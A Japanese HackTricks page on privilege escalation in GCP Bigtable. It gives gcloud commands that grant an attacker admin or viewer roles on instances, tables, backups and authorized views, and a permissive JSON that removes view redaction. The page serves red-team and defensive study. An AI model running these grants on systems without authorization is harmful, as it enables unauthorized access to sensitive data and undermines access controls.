GCP - Bigtable Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Bigtable

Bigtableの詳細については次を参照してください:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

権限: bigtable.instances.setIamPolicy(通常、現在のバインディングを読むために bigtable.instances.getIamPolicy も必要)。

インスタンスのIAMポリシーを管理できれば、インスタンス内のすべてのクラスタ、テーブル、バックアップ、承認済みビューに波及する roles/bigtable.admin(または任意のカスタムロール)を自分に付与できます。

インスタンスに対して自分に roles/bigtable.admin ロールを付与する ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

既存のバインディングを一覧できない場合は、新しいポリシードキュメントを作成して、gcloud bigtable instances set-iam-policy で適用してください(自分の権限を維持できることが前提です)。

この権限を取得したら、Bigtable の権限を悪用する別の方法については Bigtable Post Exploitation section を参照してください。

bigtable.tables.setIamPolicy

権限: bigtable.tables.setIamPolicy(オプションで bigtable.tables.getIamPolicy)。

インスタンスのポリシーはロックダウンされ、個々のテーブルが委任されている場合があります。テーブルの IAM を編集できるなら、他のワークロードに影響を与えずに対象データセットのオーナーに自分を昇格させることができます。

テーブル上で自分に bigtable.admin ロールを付与する ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

この権限を取得したら、Bigtable Post Exploitation section を参照して、Bigtable 権限の悪用方法をさらに確認してください。

bigtable.backups.setIamPolicy

権限: bigtable.backups.setIamPolicy

バックアップは、あなたが管理する任意のプロジェクト内の任意のインスタンスに復元できます。まず自身のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元してください。

もし bigtable.backups.setIamPolicy 権限を持っていれば、自分に bigtable.backups.restore 権限を付与して古いバックアップを復元し、機密情報にアクセスできるか試すことができます。

バックアップスナップショットの所有権を取得 ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

この権限を得たら、バックアップを復元する方法はBigtable Post Exploitation sectionを参照してください。

authorized view を更新

権限: bigtable.authorizedViews.update

Authorized Views は行や列を抹消(redact)するためのものです。それらを変更または削除すると、防御側が頼りにしている細かなガードレールが失われます

アクセス範囲を広げるために authorized view を更新 ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

この権限チェックについては [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、承認済みビューからの読み取り方法を確認してください。

### `bigtable.authorizedViews.setIamPolicy`

**権限:**  `bigtable.authorizedViews.setIamPolicy`.

この権限を持つ攻撃者は、自分自身に承認済みビューへのアクセス権を付与でき、通常はアクセスできない機密データを閲覧できる可能性があります。

<details><summary>自分に承認済みビューへのアクセスを付与する</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

この権限チェックを行った後、Bigtable Post Exploitation section で authorized view からの読み取り方法を確認してください。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする